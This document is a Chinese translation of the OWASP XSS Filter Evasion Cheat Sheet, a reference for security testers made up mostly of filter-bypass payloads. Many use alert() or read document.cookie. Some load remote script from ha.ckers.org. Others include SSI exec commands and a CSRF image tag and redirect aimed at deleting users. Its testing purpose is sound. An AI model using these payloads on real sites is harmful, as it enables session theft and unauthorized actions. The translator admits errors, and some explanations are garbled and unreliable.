譯者注: 翻譯本文的最初原因是當我自己看到這篇文章后,覺得它是非常有價值。但是這么著名的一個備忘錄卻一直沒有人把它翻譯成中文版。很多人僅僅是簡單的把文中的各種代碼復制下來,然后看起來很刁的發在各種論壇上,不過你要真去認真研讀這些代碼,就會完全不知所云了。原因是這篇文章最精華的部分是代碼的解釋而非代碼本身。
一方面為了自己學習,一方面也想讓更多國內的xss愛好者去更方便的閱讀本文。所以雖然我本身英語很爛,xss技術也很爛,但還是去翻譯了這篇文章。當然這也導致最后翻譯出來的文章晦澀難懂、不知所云。這個真心向大家說聲抱歉啊,也希望大家能及時幫忙提出文中的翻譯錯誤或其他錯誤。
另外,在翻譯過程中,我發現XSS Filter Evasion Cheat Sheet原版本身也存在一些技術上的或是描述上的錯誤。不過雖然我知道原文中某些地方可能出錯,但是我也不知道正確的應該是什么樣的,還有就是或許原文本身是對的,但是我理解錯了。種種原因吧,最后基本上都按原文在翻譯,有些覺得可能存在錯誤的地方或是我理解不了的地方,我就沒有翻譯,繼續使用英文。希望大家可以幫忙給出翻譯或是解釋。
如果大家有能力閱讀英文的話,盡量閱讀原文,即使要看這個翻譯版,也配合英文版一起看。不要讓我的翻譯錯誤誤人子弟啊。最后希望大家可以和我一起解決翻譯中的各種錯誤,把這個中文版維護好。
謝謝
源文檔地址:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
翻譯文檔在線閱讀:https://www.zybuluo.com/laodao/note/9592
這篇文章的主要目的是去給應用安全測試者提供一份xss漏洞檢測指南。文章的初始內容由RSnake提供給OWASP,從他的xss備忘錄: http://ha.ckers.org/xss.html 。目前這個網頁已經重定向到我們這里,我們打算維護和完善它。OWASP的第一個防御備忘錄項目:the XSS (Cross Site Scripting) Prevention Cheat Sheet靈感來源于RSnake的 XSS Cheat Sheet,所以我們對他給予我們的啟發表示感謝。我們想要去創建短小簡單的參考給開發者去幫助他們預防xss漏洞,而不是創建一個復雜的備忘錄去簡單的告訴他們需要去預防各種千奇百怪的攻擊。所以,OWASP備忘錄系列誕生了。
這個備忘錄主要針對那些已經理解了最基本的xss攻擊,但是想要深入理解各種過濾器繞過的細微差別的學習者。
請注意大部分的xss攻擊向量已經在其代碼下方給出了測試過的瀏覽器列表。
注入下面這些代碼,在大多數沒有特殊xss向量要求而已遭受腳本攻擊的地方將會彈出單詞“xss”。使用" 標簽,然后判斷輸出點是否受到干擾就可以判斷是否xss漏洞了。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
如果你沒有充足的輸入空間去檢測頁面是否存在xss漏洞。下面這段代碼是一個好的簡潔的xss注入檢測代碼。在注入這段代碼后,查看頁面源代碼尋找是否存在看起來像 <XSS verses <XSS這樣的輸入點從而判斷是否存在xss漏洞。
'';!--"<XSS>=&{()}
這是一個常規的xss注入代碼,雖然通常它會被防御,但是我們建議首先去嘗試它。(引號是不被需要的在任何現代瀏覽器中,因此這里省略了它。)
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
圖片xss依靠javascript指令實現。(IE7.0不支持javascript指令在圖片上下文中,但是可以在其他上下文觸發。下面的例子僅僅展示了一種其他標簽依舊通用的原理。)
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>
如果你的javascript代碼中需要同時使用單引號和雙引號,那么可以使用重音符(`)來包裹javascript代碼。它也經常會非常有用因為xss過濾代碼未考慮到這個字符。
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
跳過href屬性,而直接獲取xss實質攻擊代碼...提出被David Cross ~ 已驗證在chrome瀏覽器
<a onmouseover="alert(document.cookie)">xxs link</a>
此外,chrome瀏覽器喜歡去不全確實的引號為你。如果你遇到阻礙那么直接省略它們吧,chrome將會正確的幫你不全缺失的引號在URL和script中。
<a onmouseover=alert(document.cookie)>xxs link</a>
最早被 Begeek發現(可以短小而干凈的運行于任何瀏覽器),這個xss向量依靠松散的渲染引擎解析IMG標簽中被引號包含的字符串來實現。我猜測它最初是為了正確編碼而造成的。這將使它更加困難的去解釋HTML標簽。
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
如果沒有任何形式的引號被允許,你可以eval()一串fromCharCode在javascript來創建任何你需要的xss向量。
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
這將繞過絕大多數SRC域名過濾器。插入javascript代碼在任何一個事件方法同樣適用于熱河一個HTML標簽,例如Form、Iframe、Input、Embed等等。他將也允許任何任何該標簽的相關事件去替換,例如onblur, onclick等,后面我們會附加一個可用的事件列表。由David Cross提供,Abdullah Hussam編輯。
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
所有在使用javascript指令的xss示例將無法工作在 Firefox 或 Netscape 8.1+,因為它們使用了 Gecko 渲染引擎。使用 XSS Calculator 獲取更多信息。
<IMG SRC=javascript:alert(
'XSS')>
他是經常有用的在繞過尋找"X;"格式的xss過濾,因為大多數人不知道最多允許7位字符的編碼限制。這也是有用的對那些對字符串解碼像$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認為一個html編碼需要用;去結束。(我是無意中發現)
<IMG SRC=javascript:alert('XSS')>
這也是一種實用的xss攻擊針對上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認為數字編碼跟隨在#后面(十六進制htnl編碼并非如此),。使用 XSS Calculator 獲取更多信息。
<IMG SRC=javascript:alert('XSS')>
用來分開xss攻擊代碼
<IMG SRC="jav ascript:alert('XSS');">
用來分開xss攻擊代碼
<IMG SRC="jav	ascript:alert('XSS');">
一些網站聲稱09-13編碼的所有字符(十進制)都可以實現這種形式的攻擊。這是不正確的。只有09(tab), 10 (換行) 和 13 (回車)可以使用。查看ascii表為更詳細的信息。下面四個xss例子展示了這個向量。
<IMG SRC="jav
ascript:alert('XSS');">
注意:上面我編寫的三個xss字符串比必須的字符串更長,原因是0可以被省略。通常我看到的過濾器假設十六進制和十進制的編碼是兩到三個字符。正確的應該是一到七個字符。
<IMG SRC="jav
ascript:alert('XSS');">
null字符也可以作為一個xss向量,但是不像上邊那樣。你需要直接注入它們利用一些工具例如Burp Proxy,或是使用 %00 在你的url字符串里。或者如果你想寫你自己的注入工具你可以使用vim(^V^@ 會生成null),以及用下面的程序去生成它到一個文本文件中。好吧,我再一次撒謊了。 Opera的老版本(大約 7.11 on Windows)是脆弱的對于一個額外的字符173(軟連字符)。但是null字符 %00 是更加的有用或者幫助我們繞過某些真實存在的過濾器用過變動像這個例子中的。
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
xss過濾拼配模式沒有考慮單詞"javascript:"中可能存在空格是正確的,因為否則將無法渲染。但是這也導致了錯誤的假設認為你不可以有一個空格在引號和 "javascript:" 單詞之間。事實上你可以插入 1-32編碼字符(十進制)中的任何字符。
<IMG SRC="  javascript:alert('XSS');">
Firefox html解析器設定一個非數字字母字符不是有效的在一個html關鍵字后面,因此這些字符會被視為空白符或是無效的token在html標簽之后。這導致很多xss過濾器錯誤的認為html標簽必須是被空白符隔斷的。例如,"<SCRIPT\s" != "<SCRIPT/XSS\s"
:
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
和上面的原理相同,我們繼續擴大,Gecko渲染引擎允許字母、數字、html封裝字符以外的任何字符位于事件處理器與等號之間。從而借此繞過xss過濾器。注意這也是適用于重音符如下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit 提示我有一個小區別在 ie和Gecko 渲染引擎之間是他們僅允許一個一個斜杠在html標簽和參數之間,在不使用空格的情況下。這可能是有用的在那些不允許輸入空格的系統中。
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Franz Sedlmaier提出,利用這個xss向量可以繞過某些檢測引擎,因為這些引擎通過拼配最早出現的一對尖括號,并且提取其內部內容作為標簽,而沒有使用更加有效的算法例如 Boyer-Moore(尋找打開的尖括號以及相關標簽的模糊拼配)。代碼中的雙斜杠可以抑制額外尖括號導致的javascript錯誤。
<<SCRIPT>alert("XSS");//<</SCRIPT>
對于使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ,你并不需要常規xss中"></SCRIPT>"這部分。 Firefox會幫你閉合標簽,并且加入結束標簽。多么的體貼啊! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. 如果需要,你可以加入引號,但通常他并不是必須的。注意,我并不清楚這個代碼被注入后html代碼會閉合成什么樣子。
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
這個特殊的變體由 ?ukasz Pilorz 提出,并且基于上文中 Ozh提出的協議解析繞過。這個xss例子工作在 IE, 使用IE渲染引擎的Netscape 以及加了在結尾的 Opera。這是非常有用的在輸入長度受到限制。域名越短越好。 ".j"是有效的,不需要考慮編碼問題因為瀏覽拿起可以自動識別在一個script標簽中。
<SCRIPT SRC=//ha.ckers.org/.j>
不同于 Firefox ,ie渲染引擎不會加入額外的數據到你的頁面。但是它允許javascript指定在圖片標簽中這是有用的作為一個xss向量,因為它不需要一個結束的尖括號。你可以插入這個xss向量在任何html標簽后面。甚至沒有用">"關閉標簽。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". 這也是有效的去對付真實的xss過濾器,我曾經碰見過試用半開的<IFRAME 標簽替代 <IMG 標簽,
<IMG SRC="javascript:alert('XSS')"
使用一個開始尖括號(<)在向量結尾代替一個關閉尖括號(>)會有不同的影響在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。
<iframe src=http://ha.ckers.org/scriptlet.html <
當一個應用程序是輸出用戶自定義的信息到javascript代碼中,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的javascript代碼進入它,但是服務器轉義了其中的某些引號,這時你需要通過轉義被轉義的字符來繞過它。從而使最終的輸入代碼類似于<SCRIPT>var a="\";alert('XSS');//";</SCRIPT> 。最終\轉義了雙引號前被服務器添加的\,而雙引號則不會被轉義,從而觸發xss向量。xss定位器使用這個方法。
\";alert('XSS');//
這是一個簡單的xss向量,可以引入一個惡意的xss攻擊。 譯者注:titile標簽內部不支持html代碼,所有內容會被自動轉義為普通字符。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
為帶有符號的列表嵌入自定義圖片的符號。它是只能工作在ie渲染引擎因為javascript指令。這不是一個特別有用的xss向量。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code][/code]">
這個方法不需要使用任何"javascript:" or "<SCRIPT...
" 的變體去實現xss攻擊。Dan Crowley特別指出你可以額外的加入一個空格在等號之前("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')>
它可以被用于上文中的一些共性xss攻擊(這是最完整的一個實時更新的在線列表)。感謝Rene Ledosquet 的更新。此外你可以參考 Dottoro Web Reference 或是 events in JavaScript.
1. FSCommand() (攻擊者可以使用它當執行一個嵌入的flash對象時)
2. onAbort() (當使用者終止一張正在載入的圖片)
3. onActivate() (當對象被設置為激活元素)
4. onAfterPrint() (用戶打印或是預覽打印工作后激活)
5. onAfterUpdate() (激活在一個數據對象當源對象數據更新后)
6. onBeforeActivate() (觸發在一個對象被設置為激活元素)
7. onBeforeCopy() (攻擊者執行攻擊代碼在一個選區被復制到剪貼板之前-攻擊者可以實現它通過execCommand("Copy")函數。)
8. onBeforeCut() (攻擊者執行攻擊代碼在在一個選區被剪貼。)
9. onBeforeDeactivate() (當激活元素被改變后觸發)
10. onBeforeEditFocus() (觸發在一個可被編輯的元素內的對象就按測到一個 UI-activated狀態或是一個可被編輯對象被選擇之前)
11. onBeforePaste() (用戶需要被欺騙執行粘貼或是去觸發它通過execCommand("Paste")函數。)
12. onBeforePrint() (用戶需要被欺騙執行打印或是攻擊者可以使用print()或是execCommand("Print")函數。)
13. onBeforeUnload() (用戶需要被欺騙關閉瀏覽器-攻擊者不可以 unload windows除非它是被執行從其父窗口。)
14. onBeforeUpdate() (激活在數據對象在源對象更新數據之后。)
15. onBegin() (onbegin 事件被立即觸發當元素的聲明周期開始后)
16. onBlur() (當失去焦點時觸發*)
17. onBounce() (觸發當選框對象的behavior屬性被設置為"alternate"或是選框的內容抵達窗口的一邊。)
18. onCellChange() (觸發當數據改變在數據provider)
19. onChange() (select, text, or TEXTAREA 字段失去焦點或是它們的值是被改變。)
20. onClick()(點擊事件)
21. onContextMenu() (用戶需要右擊在攻擊攻擊區域)
22. onControlSelect() (當用戶去控制一個選擇對象時觸發。)
23. onCopy() (用戶需要去copy某些東西或是利用execCommand("Copy")命令)
24. onCut() (用戶需要copy某些東西或是利用execCommand("Cut") 命令)
25. onDataAvailable() (用戶改變數據在某個元素上或是攻擊者可以執行相同的函數。)
26. onDataSetChanged() (當源數據對象被改變時觸發)
27. onDataSetComplete() (觸發當數據是成功獲取到從數據源對象)
28. onDblClick() (用戶雙擊某個元素。)
29. onDeactivate() (當當前元素失去激活狀態時觸發)
30. onDrag() (需要用戶拖動某個對象)
31. onDragEnd() (需要用戶拖動某個對象)
32. onDragLeave() (需要用戶拖動某個對象從一個有效的位置。)
33. onDragEnter() (需要用戶拖動某個對象從一個有效的位置。)
34. onDragOver() (需要用戶拖動某個對象從一個有效的位置。)
35. onDragDrop() (用戶拖動某個對象(例如文件)到瀏覽器窗口內。)
36. onDragStart() (當用戶開始拖動操作時發生。)
37. onDrop() (用戶拖動某個對象(例如文件)到瀏覽器窗口內。)
38. onEnd() (當生命周期結束時觸發)
39. onError() (載入document 或 image發生錯誤時觸發)
40. onErrorUpdate() (當更新數據源的相關對象時發生錯誤則觸發)
41. onFilterChange() (當一個濾鏡完成狀態改變時觸發)
42. onFinish() (移動的Marquee文字完成一次移動時觸發)
43. onFocus() (當窗口獲得焦點時攻擊者可以執行代碼)
44. onFocusIn() (當窗口獲得焦點時攻擊者可以執行代碼)
45. onFocusOut() (當窗口失去焦點時攻擊者可以執行代碼)
46. onHashChange() (當當前地址的hash發生改變時觸發)
47. onHelp() (當用戶在當前窗口點擊F1時觸發攻擊代碼)
48. onInput() (可編輯元素中的內容被用戶改變后出發)
49. onKeyDown() (用戶按下一個鍵)
50. onKeyPress() (用戶點擊或是按下一個鍵)
51. onKeyUp() (用戶釋放一個鍵)
52. onLayoutComplete() (用戶需要去打印或是打印預覽)
53. onLoad() (攻擊者執行攻擊代碼在窗口載入后)
54. onLoseCapture() (可以被觸發被releaseCapture() 方法)
55. onMediaComplete() (當波翻改一個流媒體文件時,這個事件將觸發在文件開始播放前。)
56. onMediaError() (當用戶打開的頁面包含一個媒體文件,并且發生錯誤時觸發)
57. onMessage() (當文檔對象接受到一個信息時觸發)
58. onMouseDown() (攻擊者需要讓用戶去點擊一張圖片。)
59. onMouseEnter() (光標移入一個對象或是區域)
60. onMouseLeave() (攻擊者需要讓用戶移動光標進入一個圖片或是表格,接著再次移出)
61. onMouseMove() (攻擊者需要讓用戶移動鼠標進入一個圖片或是表格上)
63. onMouseOver() (光標移到一個對象或是區域上)
64. onMouseUp() (攻擊者需要讓用戶點擊一張圖片)
65. onMouseWheel() (擁擠著需要讓用戶去使用他們的鼠標滾輪)
66. onMove() (用戶或攻擊者需要移動頁面)
67. onMoveEnd() (用戶說攻擊者需要移動頁面)
68. onMoveStart() (用戶說攻擊者需要移動頁面)
69. onOffline() (瀏覽器從在線模式轉換到離線模式時發生)
70. onOnline() (瀏覽器從離線模式轉換到在線模式時發生)
71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
72. onPaste() (用戶需要去粘貼或是攻擊者執行execCommand("Paste") 方法)
73. onPause() (當激活元素時間停頓時觸發,包括body元素)
74. onPopState() (當用戶返回會話歷史時觸發)
75. onProgress() (當一個flash動畫載入時觸發)
76. onPropertyChange() (用戶或攻擊者需要改變一個元素的屬性)
77. onReadyStateChange() (用戶或攻擊者需要改變一個元素的屬性)
78. onRedo() (用戶執行再執行操作)
79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
80. onReset() (用戶或攻擊者重置表單)
81. onResize() (用戶調整窗口大小,或是攻擊者自動觸發通過某些代碼例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
82. onResizeEnd() (用戶調整窗口大小,或是攻擊者自動觸發通過某些代碼例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
83. onResizeStart() (用戶調整窗口大小,或是攻擊者自動觸發通過某些代碼例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
84. onResume() (當元素從暫停恢復到激活時觸發,包括body元素)
85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
86. onRowsEnter() (用戶或攻擊者需要改變數據源中的一行)
87. onRowExit() (用戶或攻擊者需要改變數據源中的一行)
88. onRowDelete() (用戶或攻擊者需要刪除數據源中的一行)
89. onRowInserted() (用戶或攻擊者需要向數據源中插入一行)
90. onScroll() (用戶需要滾動,或是攻擊者可以執行scrollBy() 函數)
91. onSeek() (媒體播放移動到新位置)
92. onSelect() (用戶需要去選擇一些文本 - 攻擊者可以自動運行利用某些方法例如 window.document.execCommand("SelectAll");)
93. onSelectionChange() (用戶需要去選擇一些文本 - 攻擊者可以自動運行利用某些方法例如 window.document.execCommand("SelectAll");)
94. onSelectStart() (用戶需要去選擇一些文本 - 攻擊者可以自動運行利用某些方法例如 window.document.execCommand("SelectAll");)
95. onStart() (當marquee元素循環開始時觸發)
96. onStop() (用戶需要點擊停止按鈕或是離開網頁)
97. onStorage() (存儲區域改變)
98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
99. onSubmit() (需要攻擊者或用戶提交表單)
100. onTimeError() (用戶或攻擊者需要設置一個時間屬性例如 dur 的值為無效的值)
101. onTrackChange() (用戶或攻擊者需要改變播放列表的軌跡)
102. onUndo() (user went backward in undo transaction history)
103. onUnload() (當用戶點擊一個鏈接或是按下回車鍵或是攻擊者觸發一個點擊事件)
104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(通過某些方式例如最簡單的遠程樣式表,你可以插入一個樣式參數為嵌入表達式的xss代碼)。它是僅僅工作在IE瀏覽器或是使用了IE渲染引擎的Netscape 8.1+。需要注意的是頁面中并沒有展現出它包含了javascript代碼。注意:所有的遠程樣式表示例需要至少用到body標簽,負責將無法工作除非頁面中包含除了向量本身的其他內容。因此你需要添加至少一個字母到頁面確保他可以工作如果它是一個空白頁面。
<LINK REL="stylesheet" >
他的工作原理與上面相同。但是使用了STYLE標簽代替LINK標簽。榆次向量稍有不同的變異被用于攻擊Google Desktop。你可以移除</STYLE>標簽當后面的html去閉合它。這個向量是有用的在不允許輸入等號或是反斜杠的實際環境中。
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
它僅僅可以工作在 Opera 8.0 (no longer in 9.x) ,但是是非常的狡猾。 Opera 8.0 (no longer in 9.x) 。根據RFC2616規定,設置一個連接頭不是 HTTP1.1 規定的一部分,但是很多瀏覽器仍然允許它(例如Firefox and Opera)。這個技巧是我們可以設置一個http頭(與常規http頭沒有什么不同,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。這樣帶有xss代碼的遠程向量將運行javascript。他并不被支持在 FireFox。
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
它是僅僅工作在 Gecko 渲染引擎。并且需要綁定一個 XUL文件在頁面。令人諷刺的是Netscape認為Gecko是更加安全的,因此絕大多是網站會受到這個攻擊。
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
這個xss在ie瀏覽器中會造成無線循環
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
提出被 Roman Ivanov
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
這是上面xss向量的混合體。但是它是展示了STYLE標簽被分隔有多困難。同樣它也會在ie下造成循環彈窗。
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 并不會關心你建立的html標簽存在與否。只要它是以尖括號以及字符開始的。
<XSS STYLE="xss:expression(alert('XSS'))">
它有一個小的不同與上面的xss向量,因為他使用的 htc 文件必須是當前域的文件。這個文件通過樣式屬性引入并運行javascript代碼實現xss。
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII 編碼 (發現被 Kurt Huwig)。它是使用畸形的ASCII 編碼用7bits代替8bits. 這個xss可以繞過絕大多數內容過濾,但是必須當前域的傳輸形式為 US-ASCII編碼方式。或者你自己去設置這種編碼方式 。它是有用的去繞過web應用防火墻xss過濾比服務器端的過濾。Apache的 Tomcat是眾所周知的 使用US-ASCII編碼傳輸協議。
?script?alert(¢XSS¢)?/script?
關于meta refresh比較奇怪的是他并不是發送一個刷新請求頭。因此他通常用于不需要引用url的攻擊。
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
URL指令方案,它是非常的不錯因為贏沒有明顯的SCRIPT單詞或是JavaScript 指令出現,因為它使用了base64 編碼。請查看 RFC 2397了解更多信息或是編碼你的代碼。你也可以使用 XSS calculator去編碼你的html或是javascript代碼到base64位。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
如果當前網頁試圖去查找URL參數是否以"http://" 開始,你可以用下列技術繞過(被 Moritz Naumann提出)
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
如果一個iframes被允許,那么同時可能會存在大量其他xss問題
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFrames或其他元素可以使用事件如下(提出被 David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
Frames有一些列相同的問題像 iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
像上面一樣,TD也可以通過 BACKGROUND 來包含javascript xss向量
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
這是被輕微的修改去混淆 url 參數。他是最早被發現被 Renaud Lifchitz用于攻擊hotmail。
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
Rnaske開發了一個XSS fuzzer去探測可以在開括號和javascript之間加入哪些額外字符在 IE和安全模式下的 Netscape 8.1。都是一些十進制的字符,但是你也可以用十六進制來填充。(下面這些編碼字符可以被使用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
它的一個變體是更加有效的去繞過實際的xss過濾器是在冒號和表達式之間添加換行符。
<DIV STYLE="width: expression(alert('XSS'));">
只能工作在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。 一些網站認為任何包裹在注釋中的內容都是安全的,因此并不會被移除。這將允許我們的xss向量。或者系統可能通過添加注釋對某些內容去試圖無害的渲染它。如我們所見,這有時并不起作用。
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
工作ie或是使用了安全模塊的Netscape 8.1,你需要使用 "http://" 斜體文本去避免javascript錯誤。這需要當前網站使用相對路徑(例如images/image.jpg)而不是絕對路徑。如果路徑開始用一個斜杠(例如"/images/image.jpg"),你需要去掉xss向量中的一個斜杠(只有在兩個斜杠的情況下才會起到注釋作用)
<BASE HREF="javascript:alert('XSS');//">
如果允許objects標簽,你也可以注入病毒payloads去感染用戶。類似于APPLET標簽。這個鏈接文件是一個包含xss代碼的html文件。
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
點擊這個demo,如果你加入屬性allowScriptAccess="never" and allownetworking="internal"他可以緩解這個風險(謝謝Jonathan Vanasco 的這個信息)
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
這個xss向量盡可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在審計雅虎時發現。
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
它是相同的同上面僅僅代替XML文件為當前域文件。你可以看到結果在下面。
它展示的 Grey Magic 是怎樣攻擊 Hotmail 和 Yahoo!的。它是僅僅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。并且這段代碼需要放在html域body標簽之間。
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
你可以重命名你的javascript文件為一個圖片作為xss向量
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
這需要SSI被安裝在服務器端去使用這個xss向量。但可能我并不需要提及這點,因為如果你可以運行命令在服務器端,那么毫無異味會有更加嚴重的問題存在。
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
需要php被安裝在服務器端去使用這個xss向量。同樣的,如果你可以運行恩任何遠程腳本,那么將會有更加嚴重的問題。
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
它是工作于那些需要用戶認證后才可以執行命令的當前域頁面。它將可以創建刪除用戶(如果訪問者是管理員),或是寄送某些憑證等等,雖然他是較少被使用但是是非常有用的。
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
這是更加的可怕因為并沒有特別的標識符去使它看起開來可疑。除非不允許引入第三方域的圖片。這個向量是使用一個 302 or 304(或其他可行方案)去重定向一個圖片地址為帶有某些命令的地址。因此一個正常的圖片標簽代碼<IMG SRC="a.jpg">可以是帶有命令的xss向量。但是用戶看到的僅僅是正常的圖片鏈接地址。下面是一個.htaccess(apche下)配置文件去完成這個向量。(感謝Timo為這部分。)
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
這是公認的不著邊際,但是我已經發下一個例子是用 <META 去覆蓋cookie。另一個例子是有些網站使用cookie中的某些數據去呈現在當前訪問者的網頁中為僅僅他自己而不是從遠程數據庫中獲取。當這兩個清靜聯系在一起的時候,你可以通過修改cookie讓javascript輸入到用戶頁面中。(你可以借此讓用戶退出,改變用戶的狀態,甚至讓用戶以你的身份登錄)
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
如果存在xss的頁面沒有提供頁面charset header,或是對于任何被設為UTF-7 的瀏覽器,我們可以利用下面的代碼。(感謝Roman Ivanov 的提供),點擊這兒為這個例子。(如果頁面設置是自動識別編碼且content-types 沒有被覆蓋,在ie瀏覽器或使用了IE渲染引擎的 Netscape 8.1,咋你不需要聲明 charset )在沒有改變編碼的情況下它是不能工作在任何現代瀏覽器,這是為什么它被標記為完全不支持。Watchfire發現這個漏洞在Google's 自定義 404 腳本中.
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
他是被測試在ie,具體因情況而異。它是為了繞過那些可以輸入 "<SCRIPT>" 但不允許輸入 "<SCRIPT SRC...",通過正則"/<script[^>]+src/i"進行過濾的xss過濾區。
